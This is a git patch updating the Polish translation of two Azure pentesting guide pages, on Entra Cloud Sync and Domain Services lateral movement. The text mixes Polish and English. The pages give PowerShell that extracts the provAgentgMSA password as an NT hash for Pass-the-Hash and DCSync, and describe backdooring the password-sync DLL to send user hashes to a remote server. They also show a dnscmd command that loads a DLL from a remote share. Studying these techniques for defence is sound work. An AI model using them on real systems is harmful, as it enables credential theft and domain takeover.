From 784378e3d91f14502b963e22c68e4acfaa22315c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 3 Mar 2026 18:36:29 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement --- .../az-cloud-sync.md | 66 +++++++++---------- .../az-domain-services.md | 30 ++++----- 2 files changed, 47 insertions(+), 49 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index 9162c10ca..e3e59a733 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -1,56 +1,57 @@ # Az - Cloud Sync -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} + ## Podstawowe informacje **Cloud Sync** to w zasadzie nowy sposób Azure na **synchronizację użytkowników z AD do Entra ID**. -[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync to nowa oferta od Microsoft, zaprojektowana w celu spełnienia i osiągnięcia celów związanych z tożsamością hybrydową w zakresie synchronizacji użytkowników, grup i kontaktów do Microsoft Entra ID. Osiąga to, używając agenta do provisioningu w chmurze Microsoft Entra zamiast aplikacji Microsoft Entra Connect. Może być jednak używane obok Microsoft Entra Connect Sync. +[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync jest nową ofertą Microsoftu zaprojektowaną, aby spełnić i zrealizować Twoje hybrydowe cele tożsamościowe w zakresie synchronizacji użytkowników, grup i kontaktów do Microsoft Entra ID. Osiąga to poprzez użycie the Microsoft Entra cloud provisioning agent zamiast aplikacji Microsoft Entra Connect. Jednak może być używany obok Microsoft Entra Connect Sync. -### Wygenerowane zasady +### Generowane principale -Aby to działało, w Entra ID i lokalnym katalogu tworzone są pewne zasady: +Aby to działało, pewne podmioty (principals) są tworzone zarówno w Entra ID, jak i w katalogu on-premises: - W Entra ID tworzony jest użytkownik `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) z rolą **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`). > [!WARNING] -> Ta rola miała wiele uprawnień uprzywilejowanych i mogła być używana do [**eskalacji uprawnień nawet do globalnego administratora**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Jednak Microsoft postanowił usunąć wszystkie uprawnienia tej roli i przypisać jej tylko nowe **`microsoft.directory/onPremisesSynchronization/standard/read`**, które nie pozwala na wykonywanie żadnych uprzywilejowanych działań (takich jak modyfikowanie hasła lub atrybutów użytkownika lub dodawanie nowego poświadczenia do SP). +> Ta rola kiedyś miała wiele uprzywilejowanych uprawnień i można było ją użyć do [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Jednak Microsoft postanowił usunąć wszystkie uprawnienia tej roli i przypisać jej jedynie nowe **`microsoft.directory/onPremisesSynchronization/standard/read`**, które w praktyce nie pozwala wykonywać uprzywilejowanych akcji (np. modyfikacji hasła czy atrybutów użytkownika albo dodania nowego credential do SP). -- W Entra ID tworzona jest również grupa **`AAD DC Administrators`** bez członków lub właścicieli. Ta grupa jest przydatna, jeśli używane są [`Microsoft Entra Domain Services`](./az-domain-services.md). +- W Entra ID tworzona jest także grupa **`AAD DC Administrators`** bez członków i właścicieli. Grupa ta jest przydatna jeśli używane są [`Microsoft Entra Domain Services`](./az-domain-services.md). -- W AD tworzony jest albo Konto Usługi **`provAgentgMSA`** z SamAccountName w formacie **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), albo niestandardowe z [**tymi uprawnieniami**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Zwykle tworzony jest domyślny. +- W AD tworzony jest albo Service Account **`provAgentgMSA`** z SamAccountName w formacie **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), albo konto customowe z [**tymi uprawnieniami jest wymagane**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Zwykle tworzony jest domyślny. > [!WARNING] -> Wśród innych uprawnień Konto Usługi **`provAgentgMSA`** ma uprawnienia DCSync, co pozwala **każdemu, kto je przejmie, na skompromitowanie całego katalogu**. Więcej informacji o [DCSync znajdziesz tutaj](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). +> Między innymi uprawnieniami konto serwisowe **`provAgentgMSA`** ma uprawnienia DCSync, pozwalając **anyone that compromises it to compromise the whole directory**. Po więcej informacji o DCSync zobacz [to](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). > [!NOTE] -> Domyślnie użytkownicy znanych grup uprzywilejowanych, takich jak Administratorzy Domeny, z atrybutem **`adminCount` równym 1, nie są synchronizowani** z Entra ID z powodów bezpieczeństwa. Jednak inni użytkownicy, którzy są częścią grup uprzywilejowanych bez tego atrybutu lub którzy mają przypisane wysokie uprawnienia bezpośrednio **mogą być synchronizowani**. +> Domyślnie użytkownicy znanych uprzywilejowanych grup, jak Domain Admins, z atrybutem **`adminCount` ustawionym na 1 nie są synchronizowani** z Entra ID ze względów bezpieczeństwa. Jednak inni użytkownicy będący częścią uprzywilejowanych grup bez tego atrybutu lub którzy mają przypisane wysokie uprawnienia bezpośrednio **mogą być synchronizowani**. -## Synchronizacja haseł +## Password Sychronization -Sekcja ta jest bardzo podobna do tej z: +Sekcja jest bardzo podobna do tej z: {{#ref}} az-connect-sync.md {{#endref}} -- **Synchronizacja skrótów haseł** może być włączona, aby użytkownicy mogli **logować się do Entra ID za pomocą swoich haseł z AD**. Ponadto, gdy hasło jest modyfikowane w AD, zostanie zaktualizowane w Entra ID. -- **Zapis hasła** może być również włączony, co pozwala użytkownikom na modyfikację swojego hasła w Entra ID, automatycznie synchronizując ich hasło w lokalnej domenie. Ale zgodnie z [aktualnymi dokumentami](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), do tego potrzebne jest użycie agenta Connect, więc zapoznaj się z sekcją [Az Connect Sync](./az-connect-sync.md) w celu uzyskania dalszych informacji. -- **Zapis grup**: Ta funkcja pozwala na synchronizację członkostwa grup z Entra ID z powrotem do lokalnego AD. Oznacza to, że jeśli użytkownik zostanie dodany do grupy w Entra ID, zostanie również dodany do odpowiadającej grupy w AD. +- **Password hash synchronization** może być włączona, dzięki czemu użytkownicy będą mogli **login into Entra ID using their passwords from AD**. Dodatkowo, gdy hasło jest zmieniane w AD, zostanie zaktualizowane w Entra ID. +- **Password writeback** również może być włączony, pozwalając użytkownikom modyfikować hasło w Entra ID, automatycznie synchronizując ich hasło z domeną on-premises. Jednak zgodnie z [obecną dokumentacją](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), do tego potrzeba użyć Connect Agent, więc spójrz na sekcję [Az Connect Sync](./az-connect-sync.md) po więcej informacji. +- **Groups writeback**: Ta funkcja pozwala na synchronizację członkostw w grupach z Entra ID z powrotem do lokalnego AD. Oznacza to, że jeśli użytkownik zostanie dodany do grupy w Entra ID, zostanie również dodany do odpowiadającej grupy w AD. ## Pivoting ### AD --> Entra ID -- Jeśli użytkownicy AD są synchronizowani z AD do Entra ID, pivoting z AD do Entra ID jest prosty, wystarczy **przejąć hasło jakiegoś użytkownika lub zmienić hasło jakiegoś użytkownika lub stworzyć nowego użytkownika i czekać, aż zostanie zsynchronizowany z katalogiem Entra ID (zwykle tylko kilka minut)**. +- Jeśli użytkownicy AD są synchronizowani z AD do Entra ID, pivot z AD do Entra ID jest prosty — wystarczy **compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins)**. -Możesz na przykład -- Przejąć konto **`provAgentgMSA`**, przeprowadzić atak DCSync, złamać hasło jakiegoś użytkownika, a następnie użyć go do logowania się do Entra ID. -- Po prostu stworzyć nowego użytkownika w AD, poczekać, aż zostanie zsynchronizowany z Entra ID, a następnie użyć go do logowania się do Entra ID. -- Zmodyfikować hasło jakiegoś użytkownika w AD, poczekać, aż zostanie zsynchronizowane z Entra ID, a następnie użyć go do logowania się do Entra ID. +Możesz na przykład: +- Compromise the **`provAgentgMSA`** account, perform a DCSync attack, crack the password of some user and then use it to login into Entra ID. +- Po prostu utworzyć nowego użytkownika w AD, poczekać aż zostanie zsynchronizowany do Entra ID i użyć go do logowania się do Entra ID. +- Zmodyfikować hasło jakiegoś użytkownika w AD, poczekać aż zostanie zsynchronizowane do Entra ID i użyć go do logowania się do Entra ID. -Aby przejąć poświadczenia **`provAgentgMSA`**: +To compromise the **`provAgentgMSA`** credentials: ```powershell # Enumerate provAgentgMSA account Get-ADServiceAccount -Filter * -Server domain.local @@ -72,22 +73,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_$ -Properties msDS-Man $decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword ``` -Teraz możesz użyć hasha gMSA, aby przeprowadzić atak Pass-the-Hash przeciwko Entra ID, używając konta `provAgentgMSA` i utrzymać persistencję, mając możliwość przeprowadzania ataków DCSync przeciwko AD. +Teraz możesz użyć hash gMSA, aby przeprowadzić atak Pass-the-Hash przeciwko Entra ID przy użyciu konta `provAgentgMSA` i utrzymać persistence, co umożliwi wykonywanie ataków DCSync przeciwko AD. -Aby uzyskać więcej informacji na temat kompromitacji Active Directory, sprawdź: +For more information about how to compromise an Active Directory check: {{#ref}} https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html {{#endref}} > [!NOTE] -> Zauważ, że nie ma sposobu, aby przypisać role Azure lub EntraID do zsynchronizowanych użytkowników na podstawie ich atrybutów, na przykład w konfiguracjach Cloud Sync. Jednak w celu automatycznego przyznawania uprawnień zsynchronizowanym użytkownikom niektóre **grupy Entra ID z AD** mogą otrzymać uprawnienia, dzięki czemu zsynchronizowani użytkownicy w tych grupach również je otrzymują, lub **można użyć grup dynamicznych**, więc zawsze sprawdzaj zasady dynamiczne i potencjalne sposoby ich nadużycia: +> Należy pamiętać, że nie ma sposobu, by przypisać role Azure lub EntraID zsynchronizowanym użytkownikom na podstawie ich atrybutów, np. w konfiguracjach Cloud Sync. Jednak aby automatycznie nadawać uprawnienia zsynchronizowanym użytkownikom, niektórym **Entra ID groups from AD** można przyznać uprawnienia, dzięki czemu zsynchronizowani użytkownicy w tych grupach również je otrzymają, lub **dynamic groups might be used**, więc zawsze sprawdzaj reguły dynamiczne i potencjalne sposoby ich nadużycia: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -Jeśli chodzi o persistencję, [ten post na blogu](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugeruje, że możliwe jest użycie [**dnSpy**](https://github.com/dnSpy/dnSpy) do wprowadzenia backdoora do dll **`Microsoft.Online.Passwordsynchronisation.dll`** znajdującej się w **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, która jest używana przez agenta Cloud Sync do przeprowadzania synchronizacji haseł, co powoduje eksfiltrację hashy haseł użytkowników synchronizowanych do zdalnego serwera. Hashes są generowane wewnątrz klasy **`PasswordHashGenerator`** i post na blogu sugeruje dodanie pewnego kodu, aby klasa wyglądała tak (zauważ użycie `use System.Net` i `WebClient` do eksfiltracji hashy haseł): +Jeśli chodzi o persistence, [ten wpis na blogu](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugeruje, że możliwe jest użycie [**dnSpy**](https://github.com/dnSpy/dnSpy) do backdoora dll **`Microsoft.Online.Passwordsynchronisation.dll`** znajdującej się w **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, która jest używana przez Cloud Sync agent do password synchronization, powodując exfiltrate password hashes użytkowników synchronizowanych do zdalnego serwera. Hashe są generowane wewnątrz klasy **`PasswordHashGenerator`**, a wpis sugeruje dodanie pewnego kodu tak, aby klasa wyglądała następująco (zwróć uwagę na `use System.Net` i użycie `WebClient` do exfiltrate the password hashes): ```csharp using System; using System.Net; @@ -121,20 +122,17 @@ RawHash = passwordHashData.RawHash } } ``` -NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. -C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'. -. Please see Error List window for detailed warnings and errors. - ### Entra ID --> AD -- Jeśli **Password Writeback** jest włączone, możesz zmienić hasło niektórych użytkowników z Entra ID, a jeśli masz dostęp do sieci AD, połącz się z nimi. Aby uzyskać więcej informacji, sprawdź sekcję [Az Connect Sync](./az-connect-sync.md), ponieważ funkcja resetowania hasła jest konfigurowana za pomocą tego agenta. +- Jeśli włączony jest **Password Writeback**, możesz zmodyfikować hasło niektórych użytkowników z Entra ID i, jeśli masz dostęp do sieci AD, połączyć się, używając tych poświadczeń. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent. -- W tej chwili Cloud Sync również pozwala na **"Microsoft Entra ID do AD"**, ale po dłuższym czasie odkryłem, że NIE MOŻE synchronizować użytkowników EntraID do AD i że może synchronizować tylko użytkowników z EntraID, którzy zostali zsynchronizowani z hashem hasła i pochodzą z domeny, która należy do tego samego lasu domenowego, co domena, do której synchronizujemy, jak można przeczytać w [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): +- W obecnym stanie Cloud Sync również pozwala na **"Microsoft Entra ID to AD"**, ale po dłuższym czasie stwierdziłem, że NIE POTRAFI synchronizować użytkowników EntraID do AD i że może synchronizować tylko użytkowników z EntraID, którzy byli synchronizowani z hash'em hasła i pochodzą z domeny należącej do tego samego lasu domen, co domena, z którą synchronizujemy, jak można przeczytać w [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): -> - Te grupy mogą zawierać tylko zsynchronizowanych użytkowników lokalnych i/lub dodatkowe grupy zabezpieczeń utworzone w chmurze. -> - Lokalne konta użytkowników, które są synchronizowane i są członkami tej grupy zabezpieczeń utworzonej w chmurze, mogą pochodzić z tej samej domeny lub z różnych domen, ale wszystkie muszą pochodzić z tego samego lasu. +> - These groups can only contain on-premises synchronized users and / or additional cloud created security groups. +> - The on-premises user accounts that are synchronized and are members of this cloud created security group, can be from the same domain or cross-domain, but they all must be from the same forest. + +Więc powierzchnia ataku (i użyteczność) tej usługi jest znacznie ograniczona, ponieważ atakujący musiałby przejąć początkowe AD, z którego użytkownicy są synchronizowani, aby przejąć użytkownika w innej domenie (a obie muszą najwyraźniej należeć do tego samego lasu domen). -Tak więc powierzchnia ataku (i użyteczność) tej usługi jest znacznie ograniczona, ponieważ atakujący musiałby skompromitować początkowe AD, z którego użytkownicy są synchronizowani, aby skompromitować użytkownika w innej domenie (a obie muszą być w tym samym lesie najwyraźniej). ### Enumeration ```bash @@ -148,4 +146,4 @@ az rest \ --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \ --headers "Content-Type=application/json" ``` -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md index d3c376f57..d0267100f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -2,27 +2,27 @@ {{#include ../../../banners/hacktricks-training.md}} -## Domain Services +## Usługi domenowe -Microsoft Entra Domain Services pozwala wdrożyć Active Directory w Azure bez konieczności zarządzania Domain Controllers (w rzeczywistości nie masz do nich nawet dostępu). +Microsoft Entra Domain Services pozwala na wdrożenie Active Directory w Azure bez konieczności zarządzania Domain Controllers (w rzeczywistości nie masz nawet do nich dostępu). -Głównym celem jest umożliwienie uruchamiania w chmurze starszych aplikacji, które nie mogą korzystać z nowoczesnych metod uwierzytelniania, lub tam, gdzie nie chcesz, aby zapytania katalogowe zawsze odsyłały do on-premises AD DS. +Głównym celem jest umożliwienie uruchamiania w chmurze aplikacji legacy, które nie mogą korzystać z nowoczesnych metod uwierzytelniania, lub w sytuacjach, gdy nie chcesz, żeby odpytywania katalogu zawsze wracały do on-premises środowiska AD DS. -Zauważ, że aby zsynchronizować użytkowników utworzonych w Entra ID (a nie synchronizowanych z innych Active Directory) z usługą domenową AD, musisz **zmienić hasło użytkownika** na nowe, aby mogło zostać zsynchronizowane z nowym AD. W rzeczywistości użytkownik nie jest synchronizowany z Microsoft Entra ID do Domain Services dopóki hasło nie zostanie zmienione. +Zauważ, że aby zsynchronizować użytkowników utworzonych w Entra ID (a nie zsynchronizowanych z innych Active Directory) z AD domain service musisz **zmienić hasło użytkownika** na nowe, aby mogło zostać zsynchronizowane z nowym AD. W praktyce użytkownik nie jest synchronizowany z Microsoft Entra ID do Domain Services, dopóki hasło nie zostanie zmienione. > [!WARNING] -> Nawet jeśli tworzysz nową domenę Active Directory, nie będziesz w stanie nią w pełni zarządzać (chyba że wykorzystasz pewne błędne konfiguracje), co oznacza, że domyślnie np. nie możesz bezpośrednio tworzyć użytkowników w AD. Tworzysz je przez **synchronizowanie użytkowników z Entra ID.** Możesz wskazać synchronizację wszystkich użytkowników (nawet tych zsynchronizowanych z innych lokalnych AD), tylko użytkowników chmurowych (utworzonych w Entra ID), lub nawet **bardziej je filtrować**. +> Nawet jeśli tworzysz nową domenę Active Directory, nie będziesz w stanie nią w pełni zarządzać (chyba że poprzez wykorzystanie pewnych błędnych konfiguracji), co oznacza, że domyślnie np. nie możesz tworzyć użytkowników bezpośrednio w AD. Tworzysz je przez **synchronizowanie użytkowników z Entra ID.** Możesz wskazać synchronizację wszystkich użytkowników (nawet tych zsynchronizowanych z innych on-premise AD), tylko użytkowników cloud (użytkowników utworzonych w Entra ID), a nawet **dokładniej je filtrować**. > [!NOTE] -> Generalnie, z powodu braku elastyczności w konfiguracji nowej domeny oraz faktu, że AD zazwyczaj już istnieje on-premise, nie jest to główna integracja między Entra ID a AD, ale nadal warto wiedzieć, jak ją skompromitować. +> Ogólnie, z powodu braku elastyczności w konfiguracji nowej domeny oraz faktu, że AD zwykle już istnieją on-premise, nie jest to główna integracja między Entra ID a AD, ale nadal warto wiedzieć, jak ją skompromitować. ### Pivoting -Członkowie wygenerowanej grupy **`AAD DC Administrators`** otrzymują lokalne uprawnienia administratora na VM-ach dołączonych do zarządzanej domeny (ale nie na domain controllers), ponieważ są dodawani do lokalnej grupy administratorskiej. Członkowie tej grupy mogą także używać **Remote Desktop to connect remotely to domain-joined VMs**, i są jednocześnie członkami następujących grup: +Członkowie wygenerowanej grupy **`AAD DC Administrators`** otrzymują uprawnienia lokalnego administratora na VM-ach dołączonych do zarządzanej domeny (ale nie na Domain Controllers), ponieważ są dodawani do lokalnej grupy administrators. Członkowie tej grupy mogą również używać **Remote Desktop to connect remotely to domain-joined VMs**, oraz są także członkami grup: -- **`Denied RODC Password Replication Group`**: Jest to grupa określająca użytkowników i grupy, których hasła nie mogą być buforowane na RODC (Read-Only Domain Controllers). -- **`Group Policy Creators Owners`**: Ta grupa pozwala członkom tworzyć Group Policies w domenie. Jednak jej członkowie nie mogą stosować group policies do użytkowników lub grup ani edytować istniejących GPO, więc nie jest to zbyt interesujące w tym środowisku. -- **`DnsAdmins`**: Ta grupa pozwala zarządzać ustawieniami DNS i była wykorzystywana w przeszłości do [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jednak po przetestowaniu ataku w tym środowisku stwierdzono, że podatność została załatana: +- **`Denied RODC Password Replication Group`**: To grupa określająca użytkowników i grupy, których hasła nie mogą być cachowane na RODC (Read-Only Domain Controllers). +- **`Group Policy Creators Owners`**: Ta grupa pozwala członkom tworzyć Group Policies w domenie. Jednak jej członkowie nie mogą stosować polityk do użytkowników lub grup ani edytować istniejących GPO, więc nie jest to zbyt interesujące w tym środowisku. +- **`DnsAdmins`**: Ta grupa pozwala zarządzać ustawieniami DNS i była w przeszłości wykorzystywana do [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jednak po przetestowaniu ataku w tym środowisku sprawdzono, że luka została załatana: ```text dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll @@ -30,16 +30,16 @@ DNS Server failed to reset registry property. Status = 5 (0x00000005) Command failed: ERROR_ACCESS_DENIED 5 0x5 ``` -Zauważ, że aby przyznać te uprawnienia, w AD grupa **`AAD DC Administrators`** jest członkiem wcześniej wymienionych grup, a także GPO **`AADDC Computers GPO`** dodaje wszystkich członków grupy domenowej **`AAD DC Administrators`** do Local Administrators. +Note that to grant these permissions, inside the AD, the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**. -Pivoting from Entra ID to an AD created with Domain Services is straightforward — wystarczy dodać użytkownika do grupy **`AAD DC Administrators`**, połączyć się przez RDP z dowolną/wszystkimi maszynami w domenie i będziesz mógł wykradać dane oraz **compromise the domain.** +Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.** -Jednak pivoting z domeny do Entra ID nie jest tak prosty, ponieważ nic z domeny nie jest synchronizowane z Entra ID. Zawsze jednak sprawdzaj metadane wszystkich dołączonych VMs, ponieważ przypisane im managed identities mogą mieć interesujące uprawnienia. Również **dump all the users passwords from the domain** i spróbuj je złamać, aby potem zalogować się do Entra ID / Azure. +However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure. > [!NOTE] -> Zauważ, że w przeszłości znaleziono inne podatności w tym managed AD, które pozwalały na compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Atakujący kompromitujący DC mógłby bardzo łatwo maintain persistence bez tego, żeby Azure admins to zauważyli lub mogli to usunąć. +> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it. -### Enumeration +### Enumeracja ```bash # Get configured domain services domains (you can add more subs to check in more subscriptions) az rest --method post \